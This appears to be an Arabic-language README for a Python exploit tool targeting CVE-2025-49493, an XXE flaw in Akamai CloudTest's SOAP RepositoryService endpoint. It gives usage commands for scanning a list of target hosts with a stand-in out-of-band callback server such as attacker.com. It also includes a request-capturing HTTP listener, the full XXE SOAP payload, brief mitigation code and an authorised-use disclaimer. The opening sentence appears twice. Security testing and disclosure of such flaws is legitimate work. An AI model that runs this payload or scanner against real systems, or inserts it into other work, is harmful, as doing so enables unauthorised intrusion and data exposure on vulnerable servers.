
هذا استغلال مبني على لغة بايثون لثغرة CVE-2025-49493، والتي تؤثر على إصدارات Akamai CloudTest الأقدم من 60 2025.06.02 (12988). تتيح هذه الثغرة حقن الكيانات الخارجية في XML (XXE) عبر نقطة نهاية خدمة SOAP.
هذا استغلال مبني على Python لثغرة CVE-2025-49493، والتي تؤثر على إصدارات Akamai CloudTest قبل 60 2025.06.02 (12988). تسمح الثغرة بحقن الكيانات الخارجية XML (XXE) عبر نقطة نهاية خدمة SOAP.
توجد الثغرة في نقطة نهاية SOAP /concerto/services/RepositoryService حيث تتم معالجة إدخال XML دون تعقيم مناسب للكيانات الخارجية. يمكن للمهاجم صياغة حمولات XML خبيثة لشن هجمات XXE، مما قد يؤدي إلى:
قم بتثبيت الحزم المطلوبة:
pip install -r requirements.txt
أو قم بالتثبيت يدويًا:
pip install requests urllib3 colored pyfiglet
python main.py targets.txt xxe.attacker.com
# With custom timeout
python main.py targets.txt collaborator.burp.com --timeout 20
# Using interactsh for OOB detection
python main.py targets.txt attacker.interactsh.com
positional arguments:
targets Target file containing list of Akamai CloudTest hosts
xxe_server XXE server to capture requests (e.g., attacker.com or IP)
optional arguments:
-h, --help show this help message and exit
--timeout TIMEOUT Request timeout in seconds (default: 10)
أنشئ ملف targets.txt بهدف واحد في كل سطر:
https://example-cloudtest.akamai.com
https://demo-cloudtest.example.com
https://test-cloudtest.internal.company.com
https://cloudtest.example.org
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-clientقم بإعداد خادم HTTP بسيط لالتقاط الطلبات:
# simple_server.py
import http.server
import socketserver
class RequestHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
print(f"XXE Request received: {self.path}")
print(f"Headers: {self.headers}")
super().do_GET()
with socketserver.TCPServer(("", 8000), RequestHandler) as httpd:
print("Server running on port 8000")
httpd.serve_forever()
يستخدم الاستغلال بنية حمولة XXE التالية:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE soapenv:Envelope [
<!ENTITY xxe SYSTEM "http://attacker.com">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:rep="http://example.com/services/repository">
<soapenv:Header/>
<soapenv:Body>
<rep:getUIBundleObjectXml>
<rep:uiBundleRequestXml>&xxe;</rep:uiBundleRequestXml>
</rep:getUIBundleObjectXml>
</soapenv:Body>
</soapenv:Envelope>
إجراءات فورية:
حلول طويلة الأجل:
معالجة XML آمنة:
# Disable external entities in XML parsers
import xml.etree.ElementTree as ET
parser = ET.XMLParser()
parser.parser.DefaultHandler = lambda data: None
parser.parser.ExternalEntityRefHandler = lambda *args: False
التحقق من الإدخال:
يُقدَّم هذه الأداة لأغراض تعليمية واختبار مصرح به فقط. يتحمل المستخدمون مسؤولية ضمان حصولهم على التفويض المناسب قبل اختبار أي أنظمة. المؤلفون غير مسؤولين عن أي إساءة استخدام أو ضرر ناتج عن هذه الأداة.
هذا المشروع مرخص بموجب رخصة MIT - راجع ملف LICENSE للتفاصيل.